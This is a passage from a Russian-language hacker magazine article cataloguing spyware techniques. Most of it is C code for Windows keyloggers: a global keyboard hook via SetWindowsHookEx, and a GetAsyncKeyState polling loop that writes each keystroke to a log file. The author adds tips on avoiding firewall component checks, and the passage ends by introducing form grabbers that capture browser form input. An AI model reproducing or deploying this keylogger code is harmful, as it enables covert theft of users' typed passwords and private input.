Энциклопедия Spyware Ms-Rem (Ms-Rem@yandex.ru) Хакер, номер #085, стр. 085-124-2 hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, 0); Функция KeyboardProc будет выглядеть примерно так: LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam) { if(code != HC_NOREMOVE) if(lParam < 0) if(code==HC_ACTION) { hwnd=FindWindow(szWindowClass,szWindowName); SendMessage(hwnd,WM_LOGGERB,wParam,lParam); } return CallNextHookEx(NULL,code,wParam,lParam); } Как видишь, этот метод чрезвычайно прост в реализации, однако он имеет серьезный недостаток - необходимость наличия dll. На загрузку такой dll будет ругаться контроль компонентов всех современных файрволов, поэтому толку от этого метода мало, хотя он еще используется во многих spyware. Решить эту проблему можно с помощью использования функции GetAsyncKeyState, которая получает информацию о состоянии клавиатуры (о том какие клавиши нажаты) в момент ее вызова. Функция в качестве аргумента принимает код проверяемой клавиши, а возвращает код ее состояния. Для сканирования клавиатуры нам надо периодически вызывать GetAsyncKeyState с кодами всех отслеживаемых клавиш и отслеживать изменения в их состоянии. Для хранения информации о состоянии клавиатуры используется массив из 95 элементов, заполненный структурами следующего формата: typedef struct _VTABLE{ int VIR_KEY; TCHAR Des; } VTABLE; VIR_KEY - это код проверяемой клавиши, а Des - состояние клавиши. В этом случае код, выполняющий цикл сканирования клавиатуры, будет выглядеть так: for(i=0;i<94;i++) if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x00000001) if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x8000000) { if((VKeys[i].VIR_KEY >=0x41) && (VKeys[i].VIR_KEY <=0x5A)){ if(!( ( GetKeyState(VK_CAPITAL) & 0x000000001 ) ^ ( GetKeyState(VK_SHIFT) <0 ) ) ) { wsprintf(KeyData,"%c",(TCHAR)tolower(VKeys[i].VIR_KEY)); res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL); if(res==0) SendMessage(hwnd,WM_DESTROY,0,0); break; } } if( (GetKeyState(VK_SHIFT) <0) && IsTrans(VKeys[i].VIR_KEY) ) { wsprintf(KeyData,"%c",(TCHAR)TransKey(VKeys[i].VIR_KEY)); res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL); if(res==0) SendMessage(hwnd,WM_DESTROY,0,0); break; } wsprintf(KeyData,"%s",VKeys[i].Des); res=WriteFile(hFile,(LPCVOID)KeyData,strlen(VKeys[i].Des),&BW,NULL); if(res==0) SendMessage(hwnd,WM_DESTROY,0,0); } Для того чтобы получить более или мене сносный лог, этот цикл нужно периодически повторять с задержками около 100 мс. Этот способ слежения за вводом не требует наличия библиотек, но отличается некоторой нестабильностью, то есть не гарантирует захвата всех нажатых клавиш. [формграбберы] Формграбберы, принципы работы которых я достаточно подробно описал в одной из своих предыдущих статей, используются для сбора информации по статистике посещения различных сайтов и анализа отправляемой на них информации. Грубо говоря, они перехватывают все, что пользователь вводит в формы браузера. |